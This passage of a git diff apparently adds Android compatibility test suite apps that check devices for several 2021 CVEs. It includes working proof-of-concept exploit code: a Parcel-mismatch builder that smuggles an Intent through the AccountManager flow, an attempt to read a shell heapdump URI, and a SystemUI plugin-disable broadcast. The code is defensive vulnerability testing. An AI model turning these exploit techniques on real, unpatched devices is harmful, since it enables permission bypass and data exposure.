+            throw new RuntimeException("Could not wake up the phone", e);
+        }
+        Context context = getApplicationContext();
+        assertNotNull(context);
+        PackageManager packageManager = context.getPackageManager();
+        assertNotNull(packageManager);
+        final Intent intent = packageManager.getLaunchIntentForPackage(TEST_PKG);
+        assertNotNull(intent);
+        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        context.startActivity(intent);
+        mDevice.wait(Until.hasObject(By.pkg(TEST_PKG).depth(0)), LAUNCH_TIMEOUT_MS);
+    }
+
+    @Test
+    public void testPackageElementPresence() {
+        BySelector selector = By.pkg(TEST_PKG);
+        String message = "Device is vulnerable to b/191055353, indicating a permission"
+                + " bypass due to a possible parcel serialization/deserialization"
+                + " mismatch in ParsedIntentInfo.java";
+        assertNotNull(message, mDevice.findObject(selector));
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocActivity.java
new file mode 100644
index 0000000..df2ee5a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocActivity.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0685;
+
+import android.accounts.AccountManager;
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+public class PocActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.activity_main);
+        Bundle verifyBundle = new Bundle();
+        verifyBundle.putParcelable(AccountManager.KEY_INTENT, new Intent(this, PocActivity.class));
+        Bundle testBundle = new Bundle();
+        Intent intent =
+                new Intent().setClassName("android", "com.android.internal.app.PlatLogoActivity");
+        testBundle.putParcelable(AccountManager.KEY_INTENT, intent);
+
+        PocAmbiguator ambiguator = new PocAmbiguator();
+        try {
+            PocAuthService.mAddAccountResponse = ambiguator.make(verifyBundle, testBundle);
+        } catch (Exception exception) {
+            exception.printStackTrace();
+        }
+        startActivity(new Intent()
+                .setClassName("android", "android.accounts.ChooseTypeAndAccountActivity")
+                .putExtra("allowableAccountTypes",
+                        new String[] {"android.security.cts.cve_2021_0685.account"}));
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocAmbiguator.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocAmbiguator.java
new file mode 100644
index 0000000..75b04ca
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocAmbiguator.java
@@ -0,0 +1,140 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0685;
+
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.os.Parcel;
+import android.text.TextUtils;
+
+import java.util.Random;
+
+public class PocAmbiguator {
+    private static final int BUNDLE_MAGIC = 0x4C444E42;
+    private static final int BUNDLE_SKIP = 12;
+    private static final int VAL_NULL = -1;
+    private static final int VAL_BUNDLE = 3;
+    private static final int VAL_PARCELABLE = 4;
+    private static final int VAL_OBJECTARRAY = 17;
+    private static final int VAL_INTARRAY = 18;
+    private static final int SIZE_RANDOM_STR = 6;
+    private static final int TIMER_MILLIS = 30 * 1000;
+
+    public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
+        Random random = new Random(1234);
+        int minHash = 0;
+        for (String s : preReSerialize.keySet()) {
+            minHash = Math.min(minHash, s.hashCode());
+        }
+        for (String s : postReSerialize.keySet()) {
+            minHash = Math.min(minHash, s.hashCode());
+        }
+        String key;
+        int keyHash;
+        long allowedTime = System.currentTimeMillis() + TIMER_MILLIS;
+
+        do {
+            key = randomString(random);
+            keyHash = key.hashCode();
+        } while (keyHash >= minHash && System.currentTimeMillis() < allowedTime);
+
+        if (keyHash >= minHash) {
+            return null;
+        }
+
+        if (!padBundle(postReSerialize, preReSerialize.size(), minHash, random)) {
+            return null;
+        }
+        if (!padBundle(preReSerialize, postReSerialize.size(), minHash, random)) {
+            return null;
+        }
+
+        Parcel parcel = Parcel.obtain();
+
+        int sizePosition = parcel.dataPosition();
+        parcel.writeInt(0);
+        parcel.writeInt(BUNDLE_MAGIC);
+        int startPosition = parcel.dataPosition();
+
+        parcel.writeInt(preReSerialize.size() + 1);
+
+        parcel.writeString(key);
+        parcel.writeInt(VAL_OBJECTARRAY);
+        parcel.writeInt(3);
+
+        parcel.writeInt(VAL_PARCELABLE);
+        parcel.writeString("android.content.pm.parsing.component.ParsedIntentInfo");
+        new IntentFilter().writeToParcel(parcel, 0);
+        parcel.writeInt(0);
+        parcel.writeInt(0);
+        TextUtils.writeToParcel(null, parcel, 0);
+        parcel.writeInt(0);
+
+        parcel.writeInt(VAL_INTARRAY);
+        parcel.writeInt(6);
+        parcel.writeInt(1);
+        parcel.writeInt(-1);
+        parcel.writeInt(0);
+        parcel.writeInt(VAL_NULL);
+        parcel.writeInt(VAL_INTARRAY);
+        parcel.writeInt(4);
+
+        parcel.writeInt(VAL_BUNDLE);
+        parcel.writeBundle(postReSerialize);
+        writeBundleSkippingHeaders(parcel, preReSerialize);
+
+        int bundleDataSize = parcel.dataPosition() - startPosition;
+        parcel.setDataPosition(sizePosition);
+        parcel.writeInt(bundleDataSize);
+
+        parcel.setDataPosition(0);
+        Bundle bundle = parcel.readBundle();
+        parcel.recycle();
+        return bundle;
+    }
+
+    private static void writeBundleSkippingHeaders(Parcel parcel, Bundle bundle) {
+        Parcel skipParcel = Parcel.obtain();
+        bundle.writeToParcel(skipParcel, 0);
+        parcel.appendFrom(skipParcel, BUNDLE_SKIP, skipParcel.dataPosition() - BUNDLE_SKIP);
+        skipParcel.recycle();
+    }
+
+    private static String randomString(Random random) {
+        StringBuilder b = new StringBuilder();
+        for (int i = 0; i < SIZE_RANDOM_STR; ++i) {
+            b.append((char) (' ' + random.nextInt('~' - ' ' + 1)));
+        }
+        return b.toString();
+    }
+
+    private static boolean padBundle(Bundle bundle, int size, int minHash, Random random) {
+        while (bundle.size() < size) {
+            String key;
+            long allowedTime = System.currentTimeMillis() + TIMER_MILLIS;
+            do {
+                key = randomString(random);
+            } while ((key.hashCode() < minHash || bundle.containsKey(key))
+                    && System.currentTimeMillis() < allowedTime);
+            bundle.putString(key, "PADDING");
+            if (key.hashCode() < minHash) {
+                return false;
+            }
+        }
+        return true;
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocAuthService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocAuthService.java
new file mode 100644
index 0000000..44d7656
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocAuthService.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0685;
+
+import android.accounts.AbstractAccountAuthenticator;
+import android.accounts.Account;
+import android.accounts.AccountAuthenticatorResponse;
+import android.accounts.NetworkErrorException;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.IBinder;
+
+public class PocAuthService extends Service {
+
+    public static Bundle mAddAccountResponse;
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return new Authenticator(this).getIBinder();
+    }
+
+    private static class Authenticator extends AbstractAccountAuthenticator {
+        @Override
+        public Bundle addAccount(AccountAuthenticatorResponse response, String accountType,
+                String authTokenType, String[] requiredFeatures, Bundle options)
+                throws NetworkErrorException {
+            return mAddAccountResponse;
+        }
+
+        Authenticator(Context context) {
+            super(context);
+        }
+
+        @Override
+        public Bundle editProperties(AccountAuthenticatorResponse response, String accountType) {
+            return null;
+        }
+
+        @Override
+        public Bundle confirmCredentials(AccountAuthenticatorResponse response, Account account,
+                Bundle options) throws NetworkErrorException {
+            return null;
+        }
+
+        @Override
+        public Bundle getAuthToken(AccountAuthenticatorResponse response, Account account,
+                String authTokenType, Bundle options) throws NetworkErrorException {
+            return null;
+        }
+
+        @Override
+        public String getAuthTokenLabel(String authTokenType) {
+            return null;
+        }
+
+        @Override
+        public Bundle updateCredentials(AccountAuthenticatorResponse response, Account account,
+                String authTokenType, Bundle options) throws NetworkErrorException {
+            return null;
+        }
+
+        @Override
+        public Bundle hasFeatures(AccountAuthenticatorResponse response, Account account,
+                String[] features) throws NetworkErrorException {
+            return null;
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/Android.bp
similarity index 61%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-0693/Android.bp
index 7b410b7..6832e6d 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/Android.bp
@@ -15,8 +15,23 @@
  *
  */
 
-cc_test {
-    name: "CVE-2021-29368",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+android_test_helper_app {
+    name: "CVE-2021-0693",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "cts",
+        "vts10",
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+    ],
+    sdk_version: "current",
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/AndroidManifest.xml
new file mode 100644
index 0000000..55bece5
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2021_0693"
+    android:versionCode="1"
+    android:versionName="1.0">
+    <application
+        android:allowBackup="true"
+        android:debuggable="true"
+        android:label="CVE-2021-0693"
+        android:supportsRtl="true">
+        <activity android:exported="true" android:name=".PocActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2021_0693" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/res/layout/activity_main.xml
new file mode 100644
index 0000000..566c342
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/res/layout/activity_main.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+    <TextView
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"
+        android:text="CVE-2021-0693"/>
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/src/android/security/cts/CVE_2021_0693/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/src/android/security/cts/CVE_2021_0693/DeviceTest.java
new file mode 100644
index 0000000..911226a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/src/android/security/cts/CVE_2021_0693/DeviceTest.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0693;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertNotNull;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+    private static final String TEST_PACKAGE = "android.security.cts.CVE_2021_0693";
+    private static final int TIMEOUT_MS = 20000;
+    private UiDevice mDevice;
+
+    @Before
+    public void wakeUpDevice() {
+        mDevice = UiDevice.getInstance(getInstrumentation());
+        try {
+            mDevice.wakeUp();
+            mDevice.pressMenu();
+            mDevice.pressHome();
+        } catch (Exception e) {
+            throw new RuntimeException("Could not wake up the phone", e);
+        }
+    }
+
+    @Test
+    public void testHeapDumpAccessibility() {
+        Context context = getApplicationContext();
+        assertNotNull(context);
+        PackageManager packageManager = context.getPackageManager();
+        assertNotNull(packageManager);
+        final Intent intent = packageManager.getLaunchIntentForPackage(TEST_PACKAGE);
+        assertNotNull(intent);
+        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        context.startActivity(intent);
+        mDevice.wait(Until.hasObject(By.pkg(TEST_PACKAGE).depth(0)), TIMEOUT_MS);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/src/android/security/cts/CVE_2021_0693/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/src/android/security/cts/CVE_2021_0693/PocActivity.java
new file mode 100644
index 0000000..a9c2396
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/src/android/security/cts/CVE_2021_0693/PocActivity.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0693;
+
+import android.app.Activity;
+import android.app.ActivityManager;
+import android.content.ContentResolver;
+import android.net.Uri;
+import android.os.Bundle;
+
+public class PocActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.activity_main);
+        registerHeapLimit();
+        try {
+            ContentResolver resolver = PocActivity.this.getContentResolver();
+            String file = "content://com.android.shell.heapdump/"
+                    + "android.security.cts.CVE_2021_0693_javaheap.bin";
+            resolver.openFile(Uri.parse(file), "r", null);
+        } catch (Exception e) {
+            if (e instanceof SecurityException) {
+                return;
+            }
+        }
+        /* If SecurityException is not thrown, it indicates absence of fix */
+        throw new RuntimeException("Heapdump is retrievable! Vulnerable to b/184046948!!");
+    }
+
+    private void registerHeapLimit() {
+        ActivityManager activityManager = getSystemService(ActivityManager.class);
+        activityManager.setWatchHeapLimit(1);
+    }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/Android.bp
similarity index 61%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-0706/Android.bp
index 7b410b7..d09ece9 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/Android.bp
@@ -12,11 +12,25 @@
  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  * See the License for the specific language governing permissions and
  * limitations under the License.
- *
  */
 
-cc_test {
-    name: "CVE-2021-29368",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+android_test_helper_app {
+    name: "CVE-2021-0706",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "cts",
+        "vts10",
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+    ],
+    sdk_version: "current",
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/AndroidManifest.xml
new file mode 100644
index 0000000..d625163
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2021_0706"
+    android:versionCode="1"
+    android:versionName="1.0">
+    <application
+        android:label="CVE-2021-0706"
+        android:supportsRtl="true">
+        <activity android:name=".PocActivity" android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2021_0706" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/res/layout/activity_main.xml
new file mode 100644
index 0000000..1500822
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/res/layout/activity_main.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+    <TextView
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"
+        android:text="CVE-2021-0706"/>
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/src/android/security/cts/CVE_2021_0706/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/src/android/security/cts/CVE_2021_0706/DeviceTest.java
new file mode 100644
index 0000000..89ebb8f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/src/android/security/cts/CVE_2021_0706/DeviceTest.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0706;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.net.Uri;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assume.assumeNotNull;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+    @Test
+    public void testDisablePlugin() {
+        UiDevice mDevice = UiDevice.getInstance(getInstrumentation());
+        Context context = getApplicationContext();
+        assumeNotNull(context);
+        final int TIMEOUT_MS = 10000;
+        String TEST_PACKAGE = "android.security.cts.CVE_2021_0706";
+        String errorMessage = "PocActivity from package android.security.cts.CVE_2021_0706"
+                + " is disabled. Device is vulnerable to b/193444889!";
+        PackageManager packageManager = context.getPackageManager();
+        assumeNotNull(packageManager);
+        Intent intent = packageManager.getLaunchIntentForPackage(TEST_PACKAGE);
+        assumeNotNull(intent);
+        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        context.startActivity(intent);
+        assumeNotNull(mDevice.wait(Until.hasObject(By.pkg(TEST_PACKAGE).depth(0)), TIMEOUT_MS));
+        Intent intentDisablePlugin = new Intent("com.android.systemui.action.DISABLE_PLUGIN");
+        Uri uri = Uri.parse("package://android.security.cts.CVE_2021_0706/.PocActivity");
+        intentDisablePlugin.setData(uri);
+        context.sendBroadcast(intentDisablePlugin);
+        assumeNotNull(mDevice.wait(Until.gone(By.pkg(TEST_PACKAGE).depth(0)), TIMEOUT_MS));
+        intent = packageManager.getLaunchIntentForPackage(TEST_PACKAGE);
+        assertNotNull(errorMessage, intent);
+    }
+}
diff --git a/hostsidetests/userspacereboot/testapps/BasicTestApp/src/com/android/cts/userspacereboot/basic/LauncherActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/src/android/security/cts/CVE_2021_0706/PocActivity.java
similarity index 63%
rename from hostsidetests/userspacereboot/testapps/BasicTestApp/src/com/android/cts/userspacereboot/basic/LauncherActivity.java
rename to hostsidetests/securitybulletin/test-apps/CVE-2021-0706/src/android/security/cts/CVE_2021_0706/PocActivity.java
index cb07bae..0d79f1c 100644
--- a/hostsidetests/userspacereboot/testapps/BasicTestApp/src/com/android/cts/userspacereboot/basic/LauncherActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/src/android/security/cts/CVE_2021_0706/PocActivity.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2020 The Android Open Source Project
+ * Copyright (C) 2021 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,12 +14,16 @@
  * limitations under the License.
  */
 
-package com.android.cts.userspacereboot.basic;
+package android.security.cts.CVE_2021_0706;
 
 import android.app.Activity;
+import android.os.Bundle;
 
-/**
- * An empty launcher activity.
- */
-public class LauncherActivity extends Activity {
+public class PocActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.activity_main);
+    }
 }
diff --git a/hostsidetests/edi/app/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/Android.bp
similarity index 62%
copy from hostsidetests/edi/app/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-0921/Android.bp
index 96f2870..2936db9 100644
--- a/hostsidetests/edi/app/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/Android.bp
@@ -1,10 +1,10 @@
-// Copyright (C) 2021 Google LLC.
+// Copyright (C) 2021 The Android Open Source Project
 //
 // Licensed under the Apache License, Version 2.0 (the "License");
 // you may not use this file except in compliance with the License.
 // You may obtain a copy of the License at
 //
-//     http://www.apache.org/licenses/LICENSE-2.0
+//      http://www.apache.org/licenses/LICENSE-2.0
 //
 // Unless required by applicable law or agreed to in writing, software
 // distributed under the License is distributed on an "AS IS" BASIS,
@@ -12,27 +12,22 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
-    name: "CtsDeviceInfoTestApp",
+    name: "CVE-2021-0921",
+    defaults: ["cts_support_defaults"],
     srcs: ["src/**/*.java"],
-    defaults: ["cts_defaults"],
-    min_sdk_version: "26",
-    target_sdk_version: "31",
+    platform_apis: true,
+    test_suites: [
+        "cts",
+        "vts10",
+        "sts",
+    ],
     static_libs: [
         "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
         "androidx.test.core",
-        "modules-utils-build",
-        "guava",
+        "androidx.appcompat_appcompat",
     ],
-    sdk_version: "test_current",
-    test_suites: [
-        "ats",
-        "cts",
-        "gts",
-        "general-tests",
-    ],
+    sdk_version: "current",
 }
+
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/AndroidManifest.xml
new file mode 100644
index 0000000..2e81b86
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/AndroidManifest.xml
@@ -0,0 +1,57 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          xmlns:tools="http://schemas.android.com/tools"
+          package="android.security.cts.CVE_2021_0921"
+          android:targetSandboxVersion="2">
+
+  <application>
+    <uses-library android:name="android.test.runner"/>
+
+    <activity android:name=".AuthenticatorActivity" android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+    </activity>
+
+    <activity android:name=".TestActivity" android:exported="true">
+        <intent-filter>
+            <action android:name="android.intent.action.RUN"/>
+            <category android:name="android.intent.category.DEFAULT"/>
+        </intent-filter>
+    </activity>
+
+    <service
+            android:name=".AuthenticatorService"
+            android:enabled="true"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.accounts.AccountAuthenticator" />
+            </intent-filter>
+
+            <meta-data
+                android:name="android.accounts.AccountAuthenticator"
+                android:resource="@xml/authenticator" />
+    </service>
+  </application>
+
